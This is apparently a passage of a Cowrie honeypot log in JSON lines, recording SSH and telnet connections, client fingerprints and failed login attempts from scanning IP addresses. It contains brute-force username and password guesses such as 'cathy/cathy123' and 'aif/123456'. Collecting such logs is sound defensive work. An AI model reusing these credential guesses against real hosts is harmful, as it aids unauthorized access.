{"eventid":"cowrie.session.closed","duration":120.00245833396912,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:10:14.786334Z","src_ip":"195.216.185.169","session":"030fe61f18a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.216.185.169","src_port":60938,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd60464ec14a","protocol":"telnet","message":"New connection: 195.216.185.169:60938 (10.17.0.5:23) [session: fd60464ec14a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:10:15.267067Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.216.185.169","src_port":32820,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b4b7969b868","protocol":"telnet","message":"New connection: 195.216.185.169:32820 (10.17.0.5:23) [session: 6b4b7969b868]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:10:17.852674Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":63184,"dst_ip":"10.17.0.5","dst_port":22,"session":"5182ce380a27","protocol":"ssh","message":"New connection: 213.209.159.159:63184 (10.17.0.5:22) [session: 5182ce380a27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:10:23.715884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:10:24.209813Z","src_ip":"213.209.159.159","session":"5182ce380a27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:10:24.288461Z","src_ip":"213.209.159.159","session":"5182ce380a27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cathy","password":"cathy","message":"login attempt [cathy/cathy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:10:24.687261Z","src_ip":"213.209.159.159","session":"5182ce380a27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cathy","password":"cathy1","message":"login attempt [cathy/cathy1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:10:25.772740Z","src_ip":"213.209.159.159","session":"5182ce380a27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cathy","password":"cathy123","message":"login attempt [cathy/cathy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:10:26.857695Z","src_ip":"213.209.159.159","session":"5182ce380a27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cathy","password":"cathy1234","message":"login attempt [cathy/cathy1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:10:27.943192Z","src_ip":"213.209.159.159","session":"5182ce380a27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cathy","password":"cathy12345","message":"login attempt [cathy/cathy12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:10:29.027807Z","src_ip":"213.209.159.159","session":"5182ce380a27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:10:30.113281Z","src_ip":"213.209.159.159","session":"5182ce380a27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37612,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ccb51738fd8","protocol":"ssh","message":"New connection: 159.203.92.129:37612 (159.203.135.109:22) [session: 6ccb51738fd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:10:31.467639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:10:31.472348Z","src_ip":"159.203.92.129","session":"6ccb51738fd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:10:31.477309Z","src_ip":"159.203.92.129","session":"6ccb51738fd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aidenkim","password":"aidenkim","message":"login attempt [aidenkim/aidenkim] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:10:31.489753Z","src_ip":"159.203.92.129","session":"6ccb51738fd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:10:32.498822Z","src_ip":"159.203.92.129","session":"6ccb51738fd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.92252779006958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:10:43.145285Z","src_ip":"167.71.232.127","session":"bc24f7d1e45b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38950,"dst_ip":"159.203.135.109","dst_port":22,"session":"5dc20fb3038e","protocol":"ssh","message":"New connection: 159.203.92.129:38950 (159.203.135.109:22) [session: 5dc20fb3038e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:11:17.451618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:11:17.456018Z","src_ip":"159.203.92.129","session":"5dc20fb3038e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:11:17.460367Z","src_ip":"159.203.92.129","session":"5dc20fb3038e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aif","password":"123456","message":"login attempt [aif/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:11:17.470404Z","src_ip":"159.203.92.129","session":"5dc20fb3038e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:11:18.477009Z","src_ip":"159.203.92.129","session":"5dc20fb3038e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.232.127","src_port":45874,"dst_ip":"159.203.135.109","dst_port":23,"session":"f242bf387340","protocol":"telnet","message":"New connection: 167.71.232.127:45874 (159.203.135.109:23) [session: f242bf387340]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:11:29.672914Z"}
{"eventid":"cowrie.session.closed","duration":30.50998568534851,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:12:00.182807Z","src_ip":"167.71.232.127","session":"f242bf387340","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35766,"dst_ip":"159.203.135.109","dst_port":22,"session":"18895f9afb42","protocol":"ssh","message":"New connection: 159.203.92.129:35766 (159.203.135.109:22) [session: 18895f9afb42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:12:02.742445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:12:02.747242Z","src_ip":"159.203.92.129","session":"18895f9afb42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:12:02.752746Z","src_ip":"159.203.92.129","session":"18895f9afb42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aif","password":"aif","message":"login attempt [aif/aif] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:12:02.766901Z","src_ip":"159.203.92.129","session":"18895f9afb42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:12:03.774931Z","src_ip":"159.203.92.129","session":"18895f9afb42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00236988067627,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:12:15.269308Z","src_ip":"195.216.185.169","session":"fd60464ec14a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.216.185.169","src_port":40790,"dst_ip":"10.17.0.5","dst_port":23,"session":"00b18ff39012","protocol":"telnet","message":"New connection: 195.216.185.169:40790 (10.17.0.5:23) [session: 00b18ff39012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:12:16.918164Z"}
{"eventid":"cowrie.session.closed","duration":120.0013530254364,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:12:17.853880Z","src_ip":"195.216.185.169","session":"6b4b7969b868","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.216.185.169","src_port":40946,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e4bc7722276","protocol":"telnet","message":"New connection: 195.216.185.169:40946 (10.17.0.5:23) [session: 9e4bc7722276]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:12:18.306835Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60676,"dst_ip":"159.203.135.109","dst_port":22,"session":"75f94f829e8a","protocol":"ssh","message":"New connection: 159.203.92.129:60676 (159.203.135.109:22) [session: 75f94f829e8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:12:47.192407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:12:47.197424Z","src_ip":"159.203.92.129","session":"75f94f829e8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:12:47.202411Z","src_ip":"159.203.92.129","session":"75f94f829e8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aifive","password":"123456","message":"login attempt [aifive/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:12:47.213995Z","src_ip":"159.203.92.129","session":"75f94f829e8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:12:48.253555Z","src_ip":"159.203.92.129","session":"75f94f829e8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":15292,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed3e5c0f8d00","protocol":"ssh","message":"New connection: 194.59.206.2:15292 (10.17.0.5:22) [session: ed3e5c0f8d00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:13:17.522457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:13:17.571835Z","src_ip":"194.59.206.2","session":"ed3e5c0f8d00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:13:17.615667Z","src_ip":"194.59.206.2","session":"ed3e5c0f8d00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:13:17.790539Z","src_ip":"194.59.206.2","session":"ed3e5c0f8d00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45890,"dst_ip":"159.203.135.109","dst_port":22,"session":"586f0a810d8d","protocol":"ssh","message":"New connection: 159.203.92.129:45890 (159.203.135.109:22) [session: 586f0a810d8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:13:29.015838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:13:29.019612Z","src_ip":"159.203.92.129","session":"586f0a810d8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v